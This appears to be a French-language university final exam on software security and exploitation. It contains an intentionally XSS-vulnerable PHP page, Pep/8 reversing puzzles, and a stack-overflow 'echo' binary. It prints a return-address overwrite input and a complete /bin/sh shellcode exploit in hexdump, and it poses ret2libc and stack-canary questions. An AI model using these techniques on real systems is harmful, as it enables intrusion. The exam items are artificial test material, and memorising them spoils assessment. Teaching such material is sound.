EXAMEN FINAL

INF600C — Sécurité des logiciels et exploitation de vulnérabilités

Philippe Pépos Petitclerc
Université du Québec à Montréal

Mercredi 20 avril 2022 — Durée : 3h

0x10 Introduction

Aucun document n'est autorisé. L'usage de la calculatrice ou tout autre appareil électronique est interdit. **Inscrivez votre nom et code permanent sur la copie.**

La lisibilité et la clarté des réponses et des payloads sont inclues dans la notation. Lorsqu'il vous est demandé d'expliquer le fonctionnement d'un exploit, détaillez :

- La vulnérabilité exploitée : ligne, nom, pourquoi
- Les effets **conceptuels** de l'exploit. Rattachez à des concepts du cours. (Pas besoin d'expliquer que `mkdir` crée un répertoire)
- Le résultat de l'exploit. Les gains pour un attaquant.

Attention ⚠ : contrairement à un lab ou à un CTF, la méthode essai-erreur ne fonctionne pas en examen.

- Cherchez la simplicité pour minimiser le risque d'erreur.
- Ne passez pas trop de temps sur une question, quitte à revenir plus tard.
- Les questions marquées d'une étoile (★) ont zéro, une ou plusieurs bonne réponses.
- Les formats `\x00 - \xFF` dans l'examen sont interprétés.

0x20 Généralités

Question 1 (10 points) : Le *Content Security Policy* est…

☐ Une entête des requêtes HTTP qui indique que les cookies ne doivent pas être transmis dans un canal non sécuritaire (en HTTP sans SSL)

☐ Une entête des réponses HTTP qui indique que les cookies ne doivent pas être transmis dans un canal non sécuritaire (en HTTP sans SSL)

☐ Une entête des requêtes HTTP qui déclare une liste de blanche d'origines approuvées des ressources

☐ Une entête des réponses HTTP qui déclare une liste de blanche d'origines approuvées des ressources

☐ Une entête des requêtes HTTP qui indique que la réponse doit être retournée en HTTPS

☐ Une entête des réponses HTTP qui indique que la réponse n'a pas pu être retournée dans un canal non sécuritaire (en HTTP sans SSL)

Question 2 (10 points) : ★ Quels outils parmi les suivants reponsent sur l'appel système `ptrace` ?

☐ `gdb`
☐ `hexdump`
☐ `ln`
☐ `ltrace`
☐ `objdump`
☐ `strace`
☐ `strings`

0x30 Régime d'assurance maladie de Kaamelott

Voici le code source de la nouvelle fonctionnalité du site web de la RAMK. La fonctionnalité permait, en fournissant notre nom et numéro d'assurance maladie, d'obtenir un code QR, preuve de notre statut vaccinal.

```
1  <?php
2  include("utils.php")
3  $nom = $_POST['nom'];
4  $no_ramk = $_POST['no_ramk'];
5  $infos = get_informations($no_ramk);
6  $qr_file = generer_qr($nom, $no_ramk);
7  ?>
8  <html>
9  <body>
10 <h1>Preuve de vaccination</h1>
11 <?php echo $nom; ?>
12 <img src="<?php echo $qr_file; ?>">
13 </body>
14 </html>
```

Question 3 (10 points) : ★ Quelles faiblesses sont présentes dans le code de la fonctionnalité ?

☐ CWE-23 : Traversée de chemin relatif (*Relative Path Traversal*)
☐ CWE-61 : Suivi de lien symbolique (*UNIX Symbolic Link Following*)
☐ CWE-73 : Contrôle externe d'un nom de fichier ou d'un chemin (*External Control of File Name or Path*)
☐ CWE-74 : Neutralisation insuffisante des éléments spéciaux (Injection). (*Improper Neutralization of Special Elements (Injection)*)
☐ CWE-78 : Injection de commandes systèmes (*OS Command Injection*)
☐ CWE-426 : Chemins de recherche non-fiables (*Untrusted Search Path*)

Question 4 (10 points) : Élaborez une stratégie d'attaque qui exploite la vulnérabilité de la ligne 11 afin de voler les sessions des autres utilisateurs du site de la RAMK. Détaillez l'exploit en entier : le payload, son fonctionnement, comment obtenir de l'information sensible, quelle information, comment l'utiliser.

.....

.....

.....

.....

.....

0x40 Petit PEPIN

Soit le code machine Pep/8 suivant (consultez l'annexe Pep/8 à la fin) :

```
1 | 31 00 21 C1 00 21 70 00 38 B0 00 37 0C 00 13 41
2 | 00 17 00 41 00 1A 00 6F 6B 00 4D 61 75 76 61 69
3 | 73 00 00 46 4C 41 47 00 zz
```

Question 5 (10 points) : Quel PIN doit être donnée au programme pour qu'il affiche « ok » ?

.....

Question 6 (10 points) : Qu'est-ce que le programme affiche lorsqu'on entre « -2 » ? Expliquez.

.....

.....

.....

0x50 Mathématiques

Voici le listing d'un programme Pep/8.

```
1  Addr  opcode Symbol    Mnemon  Operand     Comment
2  ------------------------------------------------------------------------------
3  0000  C80000           LDX     0,i
4  0003  16001C           CALL    lire
5  0006  C80000           LDX     0,i
6  0009  040029           BR      check
7
8  000C  0000   tab:      .WORD   0
9  000E  0000             .WORD   0
10 0010  0000             .WORD   0
11 0012  0000             .WORD   0
12 0014  0539   pass:     .WORD   1337
13 0016  1CA3             .WORD   7331
14 0018  01A4             .WORD   420
15 001A  0000             .WORD   0
16
17 001C  35000C lire:     DECI    tab,x
18 001F  0A0028           BREQ    fin_lire
19 0022  780002           ADDX    2,i
20 0025  04001C           BR      lire
21 0028  58     fin_lire:RET0
22
23 0029  C50014 check:    LDA     pass,x
24 002C  0A003E           BREQ    ok
25 002F  85000C           SUBA    tab,x
26 0032  0A0038           BREQ    inc
27 0035  040041           BR      fin
28
29 0038  780002 inc:      ADDX    2,i
30 003B  040029           BR      check
31
32 003E  410042 ok:       STRO    oks,d
33 0041  00     fin:      STOP
34
35 0042  4F4B00 oks:      .ASCII  "OK\x00"
36 0045  494E46 flag:     .ASCII  "INF600C{pour_la_vie_<3}\x00"
37       363030
38       437B70
39       6F7572
40       5F6C61
41       5F7669
42       655F3C
43       337D00
44 005D                   .END
```

Question 7 (10 points) : Que doit ont entrer comme valeurs pour que le programme affiche « OK » ?

.....

Question 8 (10 points) : Qu'affiche le programme quand l'entrée est « 1 2 3 4 1 2 3 0 » ? Expliquez.

.....

.....

.....

Question 9 (10 points) : Qu'affiche le programme quand l'entrée est « 16640 17664 1 2 1 2 3 4 1024 3072 » ? Expliquez. Pour vous aider, voici les plus grands nombres convertis en hexadécimal « 0x4100 0x4500 1 2 1 2 3 4 1024 0x0c00 ».

.....

.....

.....

.....

.....

.....

.....

0x60 Echo

Soit le programme `echo` dont voici le code désassemblé.

Listing 1 – "Désassemblage de la fonction main"

```
0x080491a9      push ebp
0x080491aa      mov ebp, esp
0x080491ac      sub esp, 0x24
0x080491af      mov eax, dword [obj.stdin]
0x080491b4      push eax
0x080491b5      call sym.imp.getc
0x080491ba      add esp, 4
0x080491bd      mov byte [ebp - 1], al
0x080491c0      mov eax, dword [obj.stdin]
0x080491c5      push eax
0x080491c6      call sym.imp.getc
0x080491cb      add esp, 4
0x080491ce      movzx eax, byte [ebp - 1]
0x080491d2      cmp al, 0x69
0x080491d4      jne 0x80491ef
0x080491d6      mov eax, dword [obj.stdin]
0x080491db      push eax
0x080491dc      push 0x200
0x080491e1      lea eax, [ebp - 0x22]
0x080491e4      push eax
0x080491e5      call sym.imp.fgets
0x080491ea      add esp, 0xc
0x080491ed      jmp 0x80491af
0x080491ef      movzx eax, byte [ebp - 1]
0x080491f3      cmp al, 0x70
0x080491f5      jne 0x8049205
0x080491f7      lea eax, [ebp - 0x22]
0x080491fa      push eax
0x080491fb      call sym.imp.puts
0x08049200      add esp, 4
0x08049203      jmp 0x80491af
0x08049205      nop
0x08049206      nop
0x08049207      leave
0x08049208      ret
```

Listing 2 – "Désassemblage de la fonction printflag"

```
0x08049196      push ebp
0x08049197      mov ebp, esp
0x08049199      push str.FLAG
0x0804919e      call sym.imp.puts
0x080491a3      add esp, 4
0x080491a6      nop
0x080491a7      leave
0x080491a8      ret
```

Le programme accepte la commande `i` pour lire une entrée, la commande `p` pour imprimer l'entrée lue, quitte pour tout autre commande. Il affiche donc « `ABCD` » puis quitte lorsque son entrée est la suivante.

```
i
ABCD
p
x
```

Question 10 (10 points) : Dessinez l'état de la pile pour le cadre de la fonction `main` lorsque le registre `EIP` pointe sur l'adresse `0x080491e5`. Les variables (taille et valeur), registres qui pointent dans la pile et les valeurs nécessaire au fonctionnement des cadres d'appels (EBP sauvegardé, adresse de retour de la fonction).

Question 11 (10 points) : Quel comportement observable aura le programme si l'entrée est…

```
1 i
2 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
3 x
```

.....

.....

.....

Question 12 (10 points) : Quel comportement observable aura le programme si l'entrée est la suivante. Expliquez.

```
1 i
2 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXX\x96\x91\x04\x08
3 x
```

.....

.....

.....

.....

0x61 Shellcode

Vous trouvez sur le darkweb un exploit pour le programme `echo`. L'exploit vient avec une note qui remercie le développeur d'avoir laissé l'instruction `jmp esp` à l'adresse `0x080490ef`. Le payload utilisé est le shellcode suivant qui ouvre un shell.

```
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  53 89 e1 b0 0b cd 80                              |S......|
```

Voici l'exploit complet (en deux formats : textuel et `hexdump`).

```
i
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXX\xef\x90\x04\x08\x31\xc0<...>\xcd\x80
x
```

```
00000000  69 0a 41 41 41 41 42 42  42 42 43 43 43 43 44 44  |i.AAAABBBBCCCCDD|
00000010  44 44 45 45 45 45 46 46  46 46 47 47 47 47 48 48  |DDEEEEFFFFGGGGHH|
00000020  48 48 49 49 49 49 58 58  ef 90 04 08 31 c0 50 68  |HHIIIIXX....1.Ph|
00000030  2f 2f 73 68 68 2f 62 69  6e 89 e3 50 53 89 e1 b0  |//shh/bin..PS...|
00000040  0b cd 80 0a 78 0a                                 |....x.|
00000046
```

Question 13 (10 points) : Expliquez comment l'exploit fonctionne. Décrivez les étapes qui sont prises pour faire exécuter le shellcode.

0x62 NX

En 2004, Linux a adopté un mécanisme de protection nommé NX ou No eXecute. C'est une protection mémoire qui est appliquée à certaines pages mémoires selon les sections d'un programme chargé en mémoire. Les pages marquées NX ne sont pas exécutables. C'est à dire qu'une erreur de segmentation aura lieu si l'on tente d'exécuter une instruction dans une de ces pages. La pile et le tas sont dorénavant marqués comme non-exécutables. Ce mécanisme protège donc des attaques d'injection de shellcode puisque le shellcode injecté ne pourra pas être exécuté.

Une des stratégies employées pour vaincre NX est d'utiliser du code déjà présent dans la mémoire du programme. Par exemple, la librairie standard (*LibC*) possède des fonctions intéressantes.

Question 14 (10 points) : Proposez un exploit qui exécute la fonction `system("/bin/sh");`. L'adresse de `system` est `0xf7daf810` et à l'adresse `0xf7f220ce` on retrouve la chaîne de caractères `/bin/sh`.

Astuces :

— Il faut d'abord trouver comment exécuter le code de la fonction `systeme`.
— La fonction `system` prend un argument. Réfléchissez bien à quoi ressemble un cadre d'appel (arguments) d'une fonction.

.....

.....

.....

.....

.....

0x63 Biscuit

Un second mécanisme de protection mémoire, les témoins de pile ou *Stack Cookies*, visent à protéger des attaques de dépassement de tampon qui ciblent l'adresse de retour d'une fonction sur la pile. L'idée est de placer automatiquement une valeur aléatoire entre les variables locales et l'adresse de retour de la fonction. Lors de la fin de la fonction, juste avant d'exécuter le retour (`ret`), on valide que le témoins n'a pas été modifié. Un compilateur moderne activera les témoins de pile par défaut. Voici à quoi ça ressemble et début et en fin de fonction.

Listing 3 – Gestion du témoins de pile en prologue de fonction

```
1 mov eax, dword gs:[0x14]
2 mov dword [ebp - 4], eax
3 xor eax, eax
```

Listing 4 – Gestion du témoins de pile en epilogue de fonction

```
1 mov eax, dword [ebp - 4]
2 sub eax, dword gs:[0x14]
3 je 0x8049239
4 call sym.imp.__stack_chk_fail
5 leave
6 ret
```

Voici donc une version du programme `echo` compilé avec des témoins de pile.

Listing 5 – "Désassemblage de la fonction main"

```
0x080491b9      push ebp
0x080491ba      mov ebp, esp
0x080491bc      sub esp, 0x2c
0x080491bf      mov eax, dword [ebp + 0xc]
0x080491c2      mov dword [ebp - 0x2c], eax
0x080491c5      mov eax, dword gs:[0x14]
0x080491cb      mov dword [ebp - 4], eax
0x080491ce      xor eax, eax
0x080491d0      mov eax, dword [obj.stdin]
0x080491d5      push eax
0x080491d6      call sym.imp.getc
0x080491db      add esp, 4
0x080491de      mov byte [ebp - 5], al
0x080491e1      mov eax, dword [obj.stdin]
0x080491e6      push eax
0x080491e7      call sym.imp.getc
0x080491ec      add esp, 4
0x080491ef      movzx eax, byte [ebp - 5]
0x080491f3      cmp al, 0x69
0x080491f5      jne 0x8049210
0x080491f7      mov eax, dword [obj.stdin]
0x080491fc      push eax
0x080491fd      push 0x200
0x08049202      lea eax, [ebp - 0x26]
0x08049205      push eax
0x08049206      call sym.imp.fgets
0x0804920b      add esp, 0xc
0x0804920e      jmp 0x80491d0
0x08049210      movzx eax, byte [ebp - 5]
0x08049214      cmp al, 0x70
0x08049216      jne 0x8049226
0x08049218      lea eax, [ebp - 0x26]
0x0804921b      push eax
0x0804921c      call sym.imp.puts
0x08049221      add esp, 4
0x08049224      jmp 0x80491d0
0x08049226      nop
0x08049227      nop
0x08049228      mov eax, dword [ebp - 4]
0x0804922b      sub eax, dword gs:[0x14]
0x08049232      je 0x8049239
0x08049234      call sym.imp.__stack_chk_fail
0x08049239      leave
0x0804923a      ret
```

Listing 6 – "Désassemblage de la fonction printflag"

```
0x080491a6      push ebp
0x080491a7      mov ebp, esp
0x080491a9      push str.FLAG
0x080491ae      call sym.imp.puts
0x080491b3      add esp, 4
0x080491b6      nop
0x080491b7      leave
0x080491b8      ret
```

Vous remarquez que le programme se comporte étrangement lorsque l'entrée est la suivante.

Listing 7 – Entrée qui produit un comportement bizarre

```
i
AAAABBBBCCCCDDDDAAAABBBBCCCCDDDD
p
x
```

Listing 8 – "Sortie étrange du programme en hexadécimal"

```
00000000  41 41 41 41 42 42 42 42  43 43 43 43 44 44 44 44  |AAAABBBBCCCCDDDD|
00000010  41 41 41 41 42 42 42 42  43 43 43 43 44 44 44 44  |AAAABBBBCCCCDDDD|
00000020  0a 70 09 0c 18 60 0a                              |.p...`.|
00000027
```

Question 15 (10 points) : Expliquez pourquoi le programme affiche ce qu'il affiche. Indice : Il y a trois éléments distincts dans la sortie à identifier et justifier.

.....

.....

.....

.....

Question 16 (10 points) : Proposez une stratégie d'exploitation pour exécuter la fonction `printflag`. Donnez un exemple de payload fonctionnel. Laissez des espaces réservés identifiées (taille et contenu) pour les valeurs qui doivent être résolues dynamiquement.

.....

.....

.....

.....

.....

.....

.....

.....

.....

.....

0x70 Extraits de pages des manuels de référence en ligne

`int system(const char *commande);` Exécute la commande indiquée dans *commande* en appelant `/bin/sh -c` ↪ `commande`, et revient après l'exécution complète de la commande. La valeur renvoyée est -1 en cas d'erreur ou le code de retour de la commande en cas de succès.

`int getc(FILE *stream);` Lit le caractère suivant depuis *stdin* et le renvoie sous forme d'un *unsigned char* ou EOF en cas d'erreur ou de fin de fichier.

`char *fgets(char *s, int size, FILE *stream);` Lit au plus *size* - 1 caractères depuis stream et les place dans le tampon pointé par *s*. La lecture s'arrête après EOF ou un retour-chariot. Si un retour-chariot (newline) est lu, il est placé dans le tampon. Un octet nul « `\0` » est placé à la fin de la ligne. Renvoie le pointeur *s* si elle réussit, et NULL en cas d'erreur, ou si la fin de fichier est atteinte avant d'avoir pu lire au moins un caractère.

`int puts(const char *s);` Écrit la chaîne de caractères *s* dans *stdout*, sans écrire le « \0 » final. Revoie en nombre non négatif si elle réussit et EOF si elle échoue.

0x80 Annexe (détachable)

0x81 39 instructions Pep/8

Spécificateur Binaire	Hex	Instruction	Signification	Modes d'adressage	Conditions affectées
00000000	00	STOP	Arrêt de l'exécution du programme		
00000001	01	RETTR	Retour d'interruption		
00000010	02	MOVSPA	Placer SP dans A		
00000011	03	MOVFLGA	Placer NZVC dans A		
0000010a	04, 05	BR	Branchement inconditionnel	i,x	
0000011a	06, 07	BRLE	Branchement si inférieur ou égal	i,x	
0000100a	08, 09	BRLT	Branchement si inférieur	i,x	
0000101a	0A, 0B	BREQ	Branchement si égal	i,x	
0000110a	0C, 0D	BRNE	Branchement si non égal	i,x	
0000111a	0E, 0F	BRGE	Branchement si supérieur ou égal	i,x	
0001000a	10, 11	BRGT	Branchement si supérieur	i,x	
0001001a	12, 13	BRV	Branchement si débordement	i,x	
0001010a	14, 15	BRC	Branchement si retenue	i,x	
0001011a	16, 17	CALL	Appel de sous-programme	i,x	
0001100r	18, 19	NOTr	NON bit-à-bit du registre		NZ
0001101r	1A, 1B	NEGr	Opposé du registre		NZV
0001110r	1C, 1D	ASLr	Décalage arithmétique à gauche du registre		NZVC
0001111r	1E, 1F	ASRr	Décalage arithmétique à droite du registre		NZC
0010000r	20, 21	ROLr	Décalage cyclique à gauche du registre		C
0010001r	22, 23	RORr	Décalage cyclique à droite du registre		C
001001nn	24–27	NOPn	Interruption unaire pas d'opération		
00101aaa	28–2F	NOP	Interruption non unaire pas d'opération	i	
00110aaa	30–37	DECI	Interruption d'entrée décimale	d,n,s,sf,x,sx,sxf	NZV
00111aaa	38–3F	DECO	Interruption de sortie décimale	i,d,n,s,sf,x,sx,sxf	
01000aaa	40–47	STRO	Interruption de sortie de chaîne	d,n,sf	
01001aaa	48–4F	CHARI	Lecture caractère	d,n,s,sf,x,sx,sxf	
01010aaa	50–57	CHARO	Sortie caractère	i,d,n,s,sf,x,sx,sxf	
01011nnn	58–5F	RETn	Retour d'un appel avec n octets locaux		
01100aaa	60–67	ADDSP	Addition au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
01101aaa	68–6F	SUBSP	Soustraction au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
0111raaa	70–7F	ADDr	Addition au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1000raaa	80–8F	SUBr	Soustraction au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1001raaa	90–9F	ANDr	ET bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1010raaa	A0–AF	ORr	OU bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1011raaa	B0–BF	CPr	Comparer au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1100raaa	C0–CF	LDr	Placer 2 octets (un mot) dans registre	i,d,n,s,sf,x,sx,sxf	NZ
1101raaa	D0–DF	LDBYTEr	Placer octet dans registre (bits 0-7)	i,d,n,s,sf,x,sx,sxf	NZ
1110raaa	E0–EF	STr	Ranger registre dans 1 mot	d,n,s,sf,x,sx,sxf	
1111raaa	F0–FF	STBYTEr	Ranger registre (bits 0-7) dans 1 octet	d,n,s,sf,x,sx,sxf	

0x82 8 directives Pep/8

Directive	Signification
.BYTE	Réserve 1 octet mémoire avec valeur initiale.
.WORD	Réserve 1 mot mémoire avec valeur initiale.
.BLOCK	Réserve un nombre d'octets mis à zéro.
.ASCII	Réserve l'espace mémoire pour une chaîne de caractères (ex : "Chaîne").
.ADDRSS	Réserve 1 mot mémoire pour un pointeur.
.EQUATE	Attribue une valeur à une étiquette.
.END	Directive obligatoire de fin d'assemblage qui doit être à la fin du code.
.BURN	Le programme se terminera à l'adresse spécifiée par l'opérande. Ce qui suit .BURN est écrit en ROM.

0x83 8 modes d'adressage Pep/8

Mode	aaa	a	Lettres	Opérande
Immédiat	000	0	i	Spec
Direct	001		d	mem[Spec]
Indirect	010		n	mem[mem[Spec]]
Sur la pile	011		s	mem[PP+Spec]]
Indirect sur la pile	100		sf	mem[mem[PP+Spec]
Indexé	101	1	x	mem[Spec + X]
Indexé sur la pile	110		sx	mem[PP+Spec+X]]
Indirect indexé sur la pile	111		sxf	mem[mem[PP+Spec]+X]

0x84 9 registres Pep/8

Symbole	r	Description	Taille
N		Négatif	1 bit
Z		Nul (Zero)	1 bit
V		Débordement (Overflow)	1 bit
C		Retenue (Carry)	1 bit
A	0	Accumulateur	2 octets (un mot)
X	1	Registre d'index	2 octets (un mot)
PP		Pointeur de pile (SP)	2 octets (un mot)
CO		Compteur ordinal (PC)	2 octets (un mot)
IR{		Spécificateur d'instruction	1 octet
	Spec	Spécificateur d'opérande	2 octets (un mot)

0x85 Table ASCII

Dec	Hex		Dec	Hex		Dec	Hex		Dec	Hex	
0	00	NUL '\0'	32	20	Espace ' '	64	40	@	96	60	‘
1	01	SOH (début d'en-tête)	33	21	!	65	41	A	97	61	a
2	02	STX (début de texte)	34	22	"	66	42	B	98	62	b
3	03	ETX (fin de texte)	35	23	#	67	43	C	99	63	c
4	04	EOT (fin de transmission)	36	24	$	68	44	D	100	64	d
5	05	ENQ (demande)	37	25	%	69	45	E	101	65	e
6	06	ACK (accusé de réception)	38	26	&	70	46	F	102	66	f
7	07	BEL '\a' (sonnerie)	39	27	'	71	47	G	103	67	g
8	08	BS '\b' (espace arrière)	40	28	(	72	48	H	104	68	h
9	09	HT '\t' (tab. horizontale)	41	29	)	73	49	I	105	69	i
10	0A	LF '\n' (changement ligne)	42	2A	*	74	4A	J	106	6A	j
11	0B	VT '\v' (tab. verticale)	43	2B	+	75	4B	K	107	6B	k
12	0C	FF '\f' (saut de page)	44	2C	,	76	4C	L	108	6C	l
13	0D	CR '\r' (retour chariot)	45	2D	-	77	4D	M	109	6D	m
14	0E	SO (hors code)	46	2E	.	78	4E	N	110	6E	n
15	0F	SI (en code)	47	2F	/	79	4F	O	111	6F	o
16	10	DLE (échap. transmission)	48	30	0	80	50	P	112	70	p
17	11	DC1 (commande dispositif 1)	49	31	1	81	51	Q	113	71	q
18	12	DC2 (commande dispositif 2)	50	32	2	82	52	R	114	72	r
19	13	DC3 (commande dispositif 3)	51	33	3	83	53	S	115	73	s
20	14	DC4 (commande dispositif 4)	52	34	4	84	54	T	116	74	t
21	15	NAK (accusé réception nég.)	53	35	5	85	55	U	117	75	u
22	16	SYN (synchronisation)	54	36	6	86	56	V	118	76	v
23	17	ETB (fin bloc transmission)	55	37	7	87	57	W	119	77	w
24	18	CAN (annulation)	56	38	8	88	58	X	120	78	x
25	19	EM (fin de support)	57	39	9	89	59	Y	121	79	y
26	1A	SUB (substitution)	58	3A	:	90	5A	Z	122	7A	z
27	1B	ESC (échappement)	59	3B	;	91	5B	[	123	7B	{
28	1C	FS (séparateur fichiers)	60	3C	<	92	5C	\	124	7C	|
29	1D	GS (séparateur de groupes)	61	3D	=	93	5D	]	125	7D	}
30	1E	RS (sép. enregistrements)	62	3E	>	94	5E	^	126	7E	~
31	1F	US (sép. de sous-articles)	63	3F	?	95	5F	_	127	7F	DEL